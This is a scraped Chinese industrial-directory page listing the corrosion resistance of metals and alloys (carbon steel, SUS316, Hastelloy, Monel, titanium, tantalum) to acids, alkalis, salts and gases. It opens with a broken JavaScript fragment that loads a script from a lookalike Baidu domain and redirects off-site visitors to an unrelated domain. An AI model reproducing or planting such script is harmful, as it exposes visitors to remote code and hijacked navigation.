else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
| 分类 | 介质 | 浓度 /% | 温度 /ºC | 材质 | ||||||||||||
| 碳钢 | SUS316 | 哈氏合金B | 哈氏合金C | 蒙乃尔 | 钛 | 钽 | ||||||||||
| 无 机 酸 | 盐酸 HCL | 5 | R.T. B.P. | C | C | A | B C | C | B | A | ||||||
| 10 | R.T. B.P. | C | C | A | B B | C | B | A | ||||||||
| 20 | R.T. B.P. | C | C | A | B C | C | B | B | ||||||||
| 35 | R.T. B.P. | C | C | A | A B | C | B | B | ||||||||
| 硫酸 H2SO4 | 5 | R.T. B.P. | C | A C | B | A C | A B | B | A | |||||||
| 10 | R.T. B.P. | C | C | B | A B | A B | B | A | ||||||||
| 60 | R.T. B.P. | C | C | B | A C | A B | C | A | ||||||||
| 80 | R.T. B.P. | B C | C | B | A B | A | C | A B | ||||||||
| 95 | R.T. B.P. | B C | C | A | A C | C | C | A C | ||||||||
| 硝酸 HNO3 | 10 | R.T. B.P. | C | A C | C | A C | C | A | A | |||||||
| 30 | R.T. B.P. | C | A | C | B | C | A | A | ||||||||
| 68 | R.T. B.P. | C | A B | C | B C | | A | A | ||||||||
| 发烟 | R.T. B.P. | A | A B | | | | | A | ||||||||
| 磷酸 H3PO3 | 30 | R.T. B.P. | C | A | A | A | C | A | A | |||||||
| 50 | R.T. B.P. | C | A B | A | A | C | A | A | ||||||||
| 70 | R.T. B.P. | C | A B | A | A B | C | A | A | ||||||||
| 85 | R.T. B.P. | C | A C | A | A C | C | A | A | ||||||||
| 亚硫酸 H2SO3 | | R.T. | C | B | C | A | C | A | A | |||||||
| * HF | 5 | R.T. | C | C | B | A | A | C | C | |||||||
| 48 | R.T. | C | C | B | A | B | C | C | ||||||||
| 铬酸 H2CrO4 | 20 | R.T. | C | B | C | A | B | A | A | |||||||
| 分分 类类 | 介质 | 浓度 /% | 温度 /ºC | 材质 | ||||||||||||
| 碳钢 | SUS316 | 哈氏合金B | 哈氏合金C | 蒙乃尔 | 钛 | 钽 | ||||||||||
| 无 机 酸 | 王水 | 3HCL 1HNO3 | R.T. B.P. | C | C | | A C | | | A | ||||||
| 氰氢酸 HCN | | R.T. | C | A | A | A | A | A | A | |||||||
| 硼酸 H3BO3 | | R.T. | C | C | A | B | B | | | |||||||
| 有 机 酸 | 醋酸 | 100 | R.T. B.P. | C | A | A | A | A | A | A | ||||||
| 甲酸 | 50 | R.T. B.P. | C | C | A | A | B | B | A | |||||||
| 草酸 | 10 | R.T. B.P. | C | B C | | B | B | | A B | |||||||
| 柠檬酸 | 50 | R.T. B.P. | C | A | | A | B | | A | |||||||
| 乙酸 | 5 | R.T. | C | A | A | A | B | A | A | |||||||
| 25 | R.T. | C | A | A | A | B | A | A | ||||||||
| 50 | R.T. | C | A | A | A | B | A | A | ||||||||
| 100 | R.T. | C | A | A | A | C | A | A | ||||||||
| 苹果酸 | | R.T. | C | A | A | A | A | A | A | |||||||
| 碱 | 苛性钠 | 20 | R.T. B.P. | A B | A | A | A | A B | | C | ||||||
| 40 | R.T. B.P. | A B | A | A | A B | A | | C | ||||||||
| 苛性钾 | 50 | R.T. | B | B | A | B | A | A | A | |||||||
| 盐 | 氯化铁 | 30 | R.T. B.P. | C | C | C | B C | C | A | A | ||||||
| 氯化钠 | 20ºC饱和 | R.T. B.P. | A B | B | A | A B | | A | A | |||||||
| 氯化铵 | 25 | R.T. B.P. | C | B | B | B | B | A | A | |||||||
| 氯化钙 | 25 | R.T. B.P. | B | B | A | A | A | A | A | |||||||
| 氯化镁 | 42 | R.T. B.P.. | C | B | A | A | B | A | A | |||||||
| 硫 化 物 | * | 50 | R.T.B.P. | B | A | A | A | A B | A | A | ||||||
| 硫化钠 | 10 | R.T. B.P. | B | A | A | A | A | A | A | |||||||
| 硫酸铵 | 20ºC饱和 | R.T. B.P. | C | A | A | A B | A B | A | A | |||||||
| 分分 类类 | 介质 | 浓度 /% | 温度 /ºC | 材质 | ||||||||||||
| 碳钢 | SUS316 | 哈氏合金B | 哈氏合金C | 蒙乃尔 | 钛 | 钽 | ||||||||||
| 硝酸盐 | 硝酸铵 | 10 | R.T. B.P. | A B | A | C | A | C | A | A | ||||||
| 硝酸钾 | 全部 | R.T. B.P.. | B | B | B | B | B | | A | |||||||
| 腐蚀性气体 | 氯气 | 干 | R.T. | B | A | A | A | B | C | A | ||||||
| 湿 | R.T. | C | C | C | B | C | A | A | ||||||||
| 氯水 | 饱和 | R.T. | C | C | C | A | A | | A | |||||||
| 二氧化硫 | 干 | R.T. B.P. | A | A | C | A | A | A | A | |||||||
| 硫化氢 | 湿 | R.T. | C | A | | A | B | A | A | |||||||
相关产品
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序